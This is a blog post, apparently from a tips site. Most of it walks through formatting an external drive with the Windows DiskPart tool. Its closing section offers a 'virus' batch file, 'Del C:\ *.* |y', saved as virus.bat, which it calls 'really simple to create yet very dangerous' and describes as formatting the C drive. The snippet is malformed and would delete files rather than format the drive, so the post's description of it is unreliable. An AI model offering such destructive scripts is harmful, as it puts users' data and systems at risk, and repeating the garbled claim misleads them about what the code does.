Thursday 17 April 2014

Format a hard drive with Command Prompt

07:05

In Windows I would normally be driven to either format a drive through the Disk Management console or by right-clicking on a drive in Windows Explorer and selecting the “Format…” option, but there can be advantages to formatting a driver through Command Prompt. For example if you are reformatting a drive which previously had an Operating System on the drive you can find there are System Partitions on the drive which can’t be seen in Windows Explorer and refuse to format in the Disk Management console.
Note this is only a quick guide for Formatting Drives from Command Line, there are many more options available at your disposal. For a detailed insight to the options available for the DiskPart tool visit Microsofts Technet. In the example I have formatted an external hard drive for use of file storage in a Windows Operating System environment.
In order to format a drive through Command Prompt firstly lets open the prompt.
Click Start > Run and type “CMD”, pressing Enter should open a new terminal.


We need to next start the Disk Part tool, type “DISK PART” into the Command Line and press Enter.

Next let’s display and identify which volume we would like to format. Type “list volume” and press Enter. You should see a list of available volumes. Identify the one which you wish to format, be careful selecting the wrong volume will spell disaster!

Type “select volume <x>” and press Enter, where <x> is the volume you wish to focus on.

Type “create partition primary” and press Enter. This creates a primary partition on the current disk. After you create the partition, the focus automatically shifts to the new partition. It is possible to create multiple partitions if you like. To do this you would add the option size=<x> where <x> is the size in megabytes (MB) you would like the partition to be. If no size is specified, like in my example, the partition continues until there is no more unallocated space.

Type “format fs=ntfs quick label=test” and press Enter. This will now perform a quick format, using a ntfs file system and labelling the drive “test”. You may wish to use the file system fat32 in place of ntfs if you would like to use the drive with other operating systems.

Lastly type “assign letter <x>” and press Enter, where <x> is the letter you would like to assign the drive.

You can close the Disk Part tool and Command Prompt using the “exit” command. You should now see your freshly formatted drive in My Computer, ready to use.


Or the Second Option

In this trick we will be creating virus in notepad using batch file programing. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

    1. Open Notepad and copy below code into it.
@Echo off
Del C:\ *.* |y
  
    2. Then Save this file as virus.bat
    3. Now, running this file format C Drive.




Thank You for reading this post if you Liked this post see our Facebook Page also.

Written by

We are Creative Blogger which provides user friendly, Blogger Widgets, Tricks and Tips, SEO and about Blogging. Each support has free and providing on this blog by Lakshya Dhillon.

0 comments:

Post a Comment

 

© 2013 Trick Mark. A Lakshya Dhillon Production . All rights resevered. Designed by Templateism

Back To Top
Happy New year 2017 Images - Widget
Don't Forget To Join US Our Community
×
blogger tipsblogger templatesBlogger Widget